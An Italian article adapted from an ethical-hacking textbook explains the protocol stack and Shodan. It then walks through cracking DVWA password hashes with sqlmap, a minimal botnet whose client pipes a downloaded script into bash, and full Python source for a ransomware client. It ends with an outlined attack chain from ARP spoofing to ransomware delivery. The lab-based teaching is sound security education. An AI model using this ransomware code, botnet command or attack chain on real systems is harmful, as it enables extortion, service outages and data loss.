Alla scoperta di strumenti e nozioni per applicare lo hacking etico
- Come è fatto lo stack dei protocolli Internet
- Che cos’è Shodan
- Come violare un codice hash
- Come creare una botnet
- Come scrivere un ransomware
1. Come è fatto lo stack dei protocolli Internet
Per affrontare la complessità della progettazione di software per Internet, gli ingegneri hanno deciso di astrarre l’architettura in cinque livelli indipendenti. Ogni livello è responsabile della gestione della comunicazione tra determinati componenti della rete. Per esempio, il livello di rete gestisce la comunicazione tra i router, su Internet; il livello delle applicazioni gestisce la comunicazione tra le applicazioni, come i client BitTorrent.
Ogni livello è indipendente, cioè le sue azioni non sono influenzate dalle azioni che vengono eseguite sugli altri livelli. Lo stack dei protocolli raggiunge questo obiettivo attraverso un processo chiamato incapsulamento, in cui ogni livello tratta le informazioni giuntegli dai livelli soprastanti come dati generici e non tenta di interpretarle. La figura qui sotto mostra come le informazioni vengono incapsulate a ogni livello prima di essere, infine, trasmesse al livello fisico.
Stack a cinque livelli dei protocolli Internet.
Supponiamo che un utente rediga un’e-mail. Questo accade al livello delle applicazioni. Come si può vedere, i messaggi relativi all’e-mail vengono poi inseriti nei pacchetti del livello di trasporto. Il livello di trasporto non legge né altera in alcun modo l’e-mail. Etichetta semplicemente il pacchetto con le informazioni necessarie per elaborarlo. I pacchetti del livello di trasporto vengono poi inseriti nei pacchetti del livello di rete e quindi nei pacchetti del livello di connessione dati prima di essere infine trasmessi. Incapsulando ed etichettando ogni pacchetto con le proprie intestazioni, ogni livello può prendere decisioni senza dipendere dalle informazioni di un altro livello.
Leggi anche: Sicurezza informatica: risorse per chi la difende
La prossima figura presenta una panoramica dello stack a cinque livelli dei protocolli Internet, con i relativi componenti e intestazioni. Questo approccio a più livelli consente a due componenti nello stesso livello di comunicare come se fossero gli unici componenti della rete. Per esempio, quando il nostro browser web effettua una richiesta a https://google.com, è completamente all’oscuro dei router che gestiscono la richiesta. Pertanto, è come se il browser web stesse comunicando direttamente con il server di Google. Ora esaminiamo più da vicino ogni livello.
I componenti di rete che comunicano a ogni livello dello stack a cinque livelli dei protocolli Internet.
Il livello delle applicazioni
Il livello delle applicazioni è responsabile delle comunicazioni tra le applicazioni, per esempio le comunicazioni tra il nostro browser Firefox e i server web dell’Università della Virginia. Esistono diversi protocolli a livello delle applicazioni. Il protocollo HTTP (Hypertext Transfer Protocol) invia le pagine web ai browser e il protocollo FTP (File Transfer Protocol) carica i file su un server. Questo è uno dei livelli più semplici per i quali gli sviluppatori di software possono definire i propri protocolli. DNS, FTP e BitTorrent sono alcuni esempi di protocolli operanti sul livello delle applicazioni.
Il livello di trasporto
Il livello di trasporto è responsabile della gestione delle comunicazioni tra i processi che comunicano su Internet. A causa delle limitazioni nella sua progettazione, Internet non sempre consegna i pacchetti in modo affidabile. Potremmo aver notato la caduta di alcuni pacchetti durante una chat video o un gioco. Questo livello ha due protocolli principali: TCP (Transmission Control Protocol), che garantisce che i pacchetti abbiano raggiunto la loro destinazione, e UDP (User Datagram Protocol), che è meno complesso e non fornisce alcuna garanzia.
Il livello di rete
Il livello di rete è responsabile del controllo del flusso dei pacchetti tra i router in rete. Gli indirizzi IP sono implementati a questo livello. Si può vedere ogni router attraverso il quale passano i nostri pacchetti utilizzando lo strumento traceroute. Lo strumento traceroute utilizza un protocollo a livello di rete chiamato ICMP (Internet Control Message Protocol) per costruire pacchetti che sondano la rete e scoprire il percorso seguito da un pacchetto. Possiamo eseguire traceroute usando il seguente comando:
kali@kali:~$ traceroute www.virginia.edu
traceroute to uvahome.prod.acquia-sites.com (54.227.255.92)
1 pfSense.localdomain (192.168.1.1) 0.55 ms .66 ms 0.61 ms
2 1.0.0.1 (10.0.0.1) 3.077 ms 1.011 ms 2.894 ms
.......
Il comando sonda ciascun router con tre pacchetti e registra il tempo impiegato da ciascun pacchetto per raggiungere il router. Come possiamo vedere, il primo router che incontriamo è il router pfSense nel nostro ambiente di laboratorio. Il secondo router è quello del Caffè dove siamo seduti.
Il livello di connessione dati
Il livello di connessione dati è responsabile della comunicazione tra le schede NIC. Rileva, inoltre, gli errori che potrebbero essersi verificati durante le trasmissioni. Per esempio, i segnali WiFi possono venire danneggiati durante la trasmissione a causa di interferenze con altri segnali radio. Il livello di connessione dati implementa anche il protocollo MAC, responsabile della condivisione del mezzo di trasmissione (per esempio, gamma di radiofrequenze o cavi). Consideriamo i portatili degli avventori del Caffè. Come è possibile che tutte queste macchine trasmettano onde radio WiFi senza interferire tra loro? Bene, il WiFi implementa un protocollo MAC chiamato Carrier Sense Multiple Access, che ascolta i segnali WiFi e trasmette solo quando nessun altro sta trasmettendo. In sostanza, i portatili nel Caffè aspettano tutti il loro turno, in attesa di uno slot vuoto.
Il livello fisico
Il livello fisico è responsabile della conversione degli 1 e degli 0 (i dati in un computer) in una forma trasmissibile. Ciò potrebbe significare tradurli in impulsi di luce, segnali radio o elettrici o anche suoni. Per esempio, le comunicazioni a livello fisico potrebbero utilizzare un laser che emette impulsi di luce in un cavo di fibra ottica.
2. Che cos’è Shodan
Shodan è un motore di ricerca ma, a differenza di Google, che cerca pagine web, Shodan cerca indirizzi IP attivi. Quando ne trova uno, raccoglie quante più informazioni possibili su quel dispositivo, comprese informazioni sul sistema operativo in uso, porte aperte, versioni del software e posizione. Shodan cataloga il risultato e lo rende ricercabile tramite una pagina web e l’API Python. Pertanto, quando un hacker o i responsabili della sicurezza scoprono una vulnerabilità del software, possono utilizzare Shodan per trovare i dispositivi vulnerabili.
Per esempio, la seguente query restituisce i server web Apache versione 2.4.46 che supportano HTTPS:
apache 2.4.46 https
La figura seguente mostra il risultato, opportunamente oscurato, dell’esecuzione della query su Shodan.
I risultati oscurati dell’esecuzione di una query su Shodan.
Shodan supporta anche vari filtri per raffinare i risultati della ricerca. Per esempio, il filtro os limita i risultati solo a determinati sistemi operativi; il filtro city limita i risultati alle macchine di una determinata città. La seguente query restituisce i server Linux operanti a Charlottesville, Virginia, che usano Apache e supportano HTTPS:
os:linux city:Charlottesville apache 2.4.46 https
Si può trovare un elenco di filtri per Shodan. Shodan consente solo agli utenti registrati di eseguire query con filtri, ma possiamo sempre registrarci con il nostro account Protonmail.
Tuttavia, c’è uno svantaggio nell’usare Shodan: registra il nostro indirizzo IP ogni volta che lo interroghiamo. Questo non è bene, perché ora Shodan conosce il nostro indirizzo IP e chi stiamo sottoponendo a scansione. Pertanto, potrebbe essere meglio configurare una propria macchina appositamente per le scansioni.
3. Come violare un codice hash
Come possiamo decifrare il codice hash di una password in modo da recuperare la password originale? Le funzioni hash sicure sono unidirezionali, quindi non possiamo decodificare il codice hash. Ma non tutto è perduto; dobbiamo solo essere astuti.
Ricordiamo che ogni password genera un codice hash univoco, quindi due codici hash uguali devono condividere la stessa password in chiaro. Pertanto, per decifrare un determinato codice hash, dovremmo calcolare il codice hash di molte password conosciute e confrontare i risultati con il nostro valore hash. Se i risultati corrispondono, la password in chiaro che abbiamo appena cifrato deve essere la stessa del codice hash che stiamo tentando di decifrare. Questo tipo di attacco è chiamato attacco a dizionario ed è la stessa strategia utilizzata in precedenza per cercare i file su un server. Usiamo un attacco a dizionario per decifrare alcuni dei codici hash delle password presenti nel database di una macchina virtuale Metasploitable, intenzionalmente programmata per contenere vulnerabilità a scopo didattico.
Utilizziamo in una sessione di terminale il seguente comando per scaricare i nomi utente e le password dalla tabella degli utenti presente nel database DVWA (Damn Vulnerable Web App). Questo comando SQLmap eseguirà un attacco a dizionario per tentare di decifrare i codici hash delle password presenti nel database:
sqlmap-shell> -D dvwa -T users -C user,password --dump
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[18:08:22] [INFO] using hash method 'md5_generic_passwd'
Database: dvwa
Table: users
[5 entries]
+---------+---------------------------------------------+
| user | password |
+---------+---------------------------------------------+
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123) |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+---------+---------------------------------------------+
In questo caso, l’attacco a dizionario è riuscito a decifrare tutte le password presenti nel database.
Ovviamente, gli attacchi a dizionario avranno successo solo se le password presenti nel database sono presenti anche nell’elenco delle password standard. Un buon elenco di password è fondamentale per avere successo nella violazione dei codici hash. SecLists, un’eccellente raccolta di elenchi di sicurezza, contiene diversi elenchi di password che possiamo utilizzare per i nostri attacchi a dizionario. Per esempio, 10-million-password-list-top-1000000.txt contiene ben un milione di password. SecLists offre anche elenchi di password in altre lingue, come il francese, l’olandese e il tedesco. La raccolta SecLists contiene payload come zipbomb e webshell, e voci che possono essere utilizzate come dati di test negli attacchi fuzzing. Le zipbomb sono piccoli file compressi che diventano molto grandi quando vengono espansi. Possiamo creare la nostra zipbomb comprimendo un file di grandi dimensioni contenente solo zeri. Le webshell sono shell che permettono di controllare un server da una pagina web.
Possiamo clonare il repository Git di SecLists su un desktop Kali Linux lanciando il seguente comando:
kali@kali:~/Desktop$ git clone https://github.com/danielmiessler/SecLists
4. Come creare una botnet
Botnet
In genere lavoriamo con un server bot che controlla un solo client. Tuttavia, possiamo estendere il nostro server in modo che possa controllare più client contemporaneamente. In botnet come queste, vi sono più macchine client che si connettono a un singolo server CNC. Queste botnet possono fare molte cose, per esempio eseguire un attacco DDoS (Distributed Denial of Service) sovraccaricando di traffico un server web, fino a renderlo temporaneamente non disponibile.
Il 21 ottobre 2016, il servizio DNS di Dyn è stato vittima di un attacco DDoS che utilizzava una botnet chiamata Mirai. La botnet ha impedito agli utenti di accedere a siti come Airbnb, Amazon e Netflix. Prima che il browser acceda a un sito web, deve ottenere l’indirizzo IP del sito web, comunicando con un server DNS. Se una botnet sovraccarica di richieste un server DNS, impedirà agli utenti di accedere ai domini ospitati su quel server.
La botnet Mirai era composta da una serie di dispositivi IoT (Internet of Things), come telecamere e router domestici. Invece di utilizzare una backdoor, Mirai ha attraversato la porta principale dei dispositivi utilizzando nomi utente e password di default. Per fare ciò, Mirai ha utilizzato una scansione SYN per cercare dispositivi con la porta 23 aperta. Quando trovava un dispositivo, un bot Mirai tentava di connettersi utilizzando una serie di credenziali di default. Se il bot riusciva ad accedere, utilizzava i comandi wget o TFTP per caricare il codice client del bot sulla macchina. Se nessuno dei due comandi era disponibile, caricava la propria versione di wget utilizzando un loader personalizzato. Una volta violato, il dispositivo inviava al server CNC il proprio indirizzo IP, con nome utente e password. La botnet Mirai ha violato più di 350.000 dispositivi.
Poiché il bot Mirai utilizzava un server CNC dedicato, i ricercatori della sicurezza potevano esaminare il traffico e determinare il suo indirizzo IP. I ricercatori hanno così contattato l’ISP del server e gli hanno chiesto di disabilitare quell’indirizzo IP. Tuttavia, il codice del bot non specificava per il server un indirizzo IP fisso. I bot determinavano l’indirizzo IP risolvendo un URL. Ciò significava che se l’indirizzo IP di un server CNC veniva disabilitato, la botnet poteva essere assegnata a un nuovo server CNC, aggiornando la mappatura tra l’URL e l’indirizzo IP nel DNS, e questo rendeva più difficile mettere offline la botnet. Il codice della botnet Mirai è disponibile su GitHub.
La prossima figura mostra due tipi di architettura a botnet. La prima è un’architettura client-server, in cui un singolo server controlla più client. Uno dei molti svantaggi di questa architettura è che la botnet può essere rimossa, se il server viene disabilitato. La seconda è un’architettura P2P, in cui qualsiasi bot nella rete può essere designato come server. Ciò rimuove ogni singolo punto di errore. La botnet Mirai utilizzava il modello client-server, ma riduceva il problema del singolo punto di errore dell’architettura facendo in modo che i bot risolvessero il dominio per determinare l’indirizzo IP del server CNC.
Due architetture botnet: client-server e P2P.
Mirai era una botnet sofisticata, ma scrivere una botnet non è necessariamente complicato. Iniziamo creando il file che contiene i comandi che vogliamo far eseguire ai nostri bot:
kali@kali:~$ touch commands.sh
kali@kali:~$ echo "ping 172.217.9.206" > commands.sh
Il comando touch crea un nuovo file chiamato commands.sh e il comando echo scrive “ping 172.217.9.206” in quel file. Il comando ping verifica se una macchina è online inviandole un pacchetto e attendendo una risposta. Messi insieme, i comandi di questo script invieranno pacchetti ping all’indirizzo IP 172.217.9.206. Se lo fanno più macchine ripetutamente provocherete un attacco DDoS.
Dopo aver creato lo script della shell, create un server botnet monoriga utilizzando il seguente comando:
kali@kali:~$ python3 -m http.server 8080
Ora possiamo scrivere un semplice client bot che scarichi lo script e lo esegua. Ricordiamo che il bot eseguirà tutti i comandi contenuti nel file commands.sh, quindi facciamo attenzione a ciò che vi includiamo. Per esempio, se al posto del comando ping specificassimo il comando rm -rf /, il bot eliminerebbe tutti i dati contenuti nella macchina. Quindi, lanciamo il seguente comando:
msfadmin@metasploitable:~$ wget -O - <indirizzo IP del server bot>:8080\commands.sh | bash
Il flag -O – emette il contenuto del file scaricato. I contenuti vengono quindi inviati, o reindirizzati, utilizzando l’operatore | alla shell Bash, dove vengono eseguiti. Lo script command.sh chiede al client di eseguire il ping dell’indirizzo IP di Google (172.217.9.206).
Se un server chiede a un numero sufficiente di client di eseguire questa operazione contemporaneamente, può ottenere un attacco DDoS. Gli hacker spesso traggono un profitto anche affittando i loro eserciti di botnet ad altri hacker, che li utilizzano per i loro scopi.
5. Come scrivere un ransomware
I primi sistemi ransomware utilizzavano la crittografia a chiave simmetrica e memorizzavano le chiavi nel ransomware stesso, il che consentiva ai responsabili della sicurezza di estrarre le chiavi impiegate. I moderni sistemi ransomware utilizzano un approccio ibrido. Usano comunque la chiave simmetrica casuale per cifrare i file presenti sulla macchina della vittima, ma per impedire ai ricercatori di estrarre la chiave, cifrano la chiave simmetrica con la chiave pubblica dell’hacker. La figura che segue illustra questo processo.
In che modo il ransomware protegge la chiave simmetrica cifrandola utilizzando la chiave pubblica dell’hacker.
Se la vittima paga il riscatto, di solito versando una somma in bitcoin e inviando una copia della chiave simmetrica cifrata, il server del ransomware utilizzerà la chiave privata dell’hacker per decifrare la chiave simmetrica e restituirla alla vittima. La vittima potrà poi utilizzare questa chiave per decifrare i file.
Un vero e proprio corso pratico alle moderne tecniche di hacking, pensato per formare la nuova generazione di esperti in materia.
Ovviamente, l’hacker potrebbe anche accettare il pagamento e poi ignorare la vittima, senza mai consentirle di decifrare i file e senza inviare la chiave. Una volta che la vittima ha pagato, l’hacker ha poco da guadagnare dal consentire il processo di decifrazione.
In questo paragrafo, scriveremo un nostro client ransomware in Python. Per non cifrare tutti i file presenti su una ipotetica nostra macchina virtuale Kali Linux, chiederemo al nostro client ransomware di cifrare un solo file. Tuttavia, potremmo facilmente estendere l’implementazione per cifrare ogni file sul computer di una vittima. Per prima cosa genereremo una chiave simmetrica casuale e quindi utilizzeremo tale chiave per cifrare il file. Dopo che il file è stato cifrato, utilizzeremo la nostra chiave pubblica per cifrare la chiave simmetrica e salvarla in un file sulla macchina Kali Linux. Al termine, il programma eliminerà la chiave simmetrica.
Useremo la libreria pyca/cryptography raccomandata dalla Python Cryptography Authority. Installiamo la libreria lanciando questo comando:
kali@kali:~$ pip3 install cryptography
Dopo aver installato la libreria, apriamo un editor di testo come Mousepad e inseriamo quanto segue:
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes
from cryptography.fernet import Fernet
symmetricKey = Fernet.generate_key() ➊
FernetInstance = Fernet(symmetricKey)
with open("/home/prof/Desktop/Ransomware/public_key.key", "rb") as key_file: ➋
public_key = serialization.load_pem_public_key(
key_file.read(),
backend=default_backend()
)
encryptedSymmetricKey = public_key.encrypt(
symmetricKey,
padding.OAEP( ➌
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(), ➍
label=None
)
)
with open("encryptedSymmertricKey.key", "wb") as key_file: ➎
key_file.write(encryptedSymmetricKey)
filePath = "/home/kali/Desktop/Ransomware/FileToEncrypt.txt"
with open(filePath, "rb") as file:
file_data = file.read()
encrypted_data = FernetInstance.encrypt(file_data) ➏
with open(filePath, "wb") as file:
file.write(encrypted_data)
quit()
Il modulo Fernet ➊ fornisce una semplice API per eseguire la crittografia a chiave simmetrica. Carichiamo la chiave pubblica da un file utilizzando la parola chiave with ➋, che è un’alternativa migliore alle parole chiave try e finally di Python, perché gestisce implicitamente la risorsa. Per vedere come fa, consideriamo i seguenti esempi. Il primo esempio utilizza le parole chiave try e finally per aprire, modificare e chiudere un file:
myFile = open('output.txt', 'w')
try:
myFile.write('hello world!')
finally:
myFile.close()
Al contrario, il secondo esempio utilizza la parola chiave with per gestire implicitamente la risorsa, impiegando codice più breve e leggibile, come questo:
with open('output.txt', 'w') as myFile:
myFile.write('hello world!')
Poi abbiamo utilizzato l’algoritmo OAEP ➌. Poiché OAEP si basa internamente su una funzione hash crittografica, è necessario selezionarne una. Qui selezioniamo l’algoritmo hash SHA256 ➍.
Successivamente, scriviamo la chiave cifrata in un file in memoria ➎ e quindi crittografiamo il file ➏. Al termine del programma, la chiave simmetrica in chiaro verrà cancellata dalla memoria del computer.
Ora, come può un malintenzionato in un bar chiedere denaro a un’azienda caricando questo ransomware di crittografia sui sistemi aziendali? Un malintenzionato può utilizzare un attacco ARP Spoofing per intercettare il traffico web di una vittima. L’hacker può usare Wireshark per estrarre l’indirizzo IP di un server che la vittima stava visitando; uno hacker può usare nmap per sottoporre a scansione il server e scoprire un’applicazione FTP vulnerabile in esecuzione sulla porta 21. Un malintenzionato potrebbe sfruttare l’applicazione FTP e caricare una reverse shell personalizzata. L’hacker potrebbe quindi utilizzare questa reverse shell per caricare una copia del proprio ransomware di crittografia sul server web. Eccetera.
Questo articolo richiama contenuti da Ethical Hacking.
L'autore
Iscriviti alla newsletter
Novità, promozioni e approfondimenti per imparare sempre qualcosa di nuovo
Libri che potrebbero interessarti
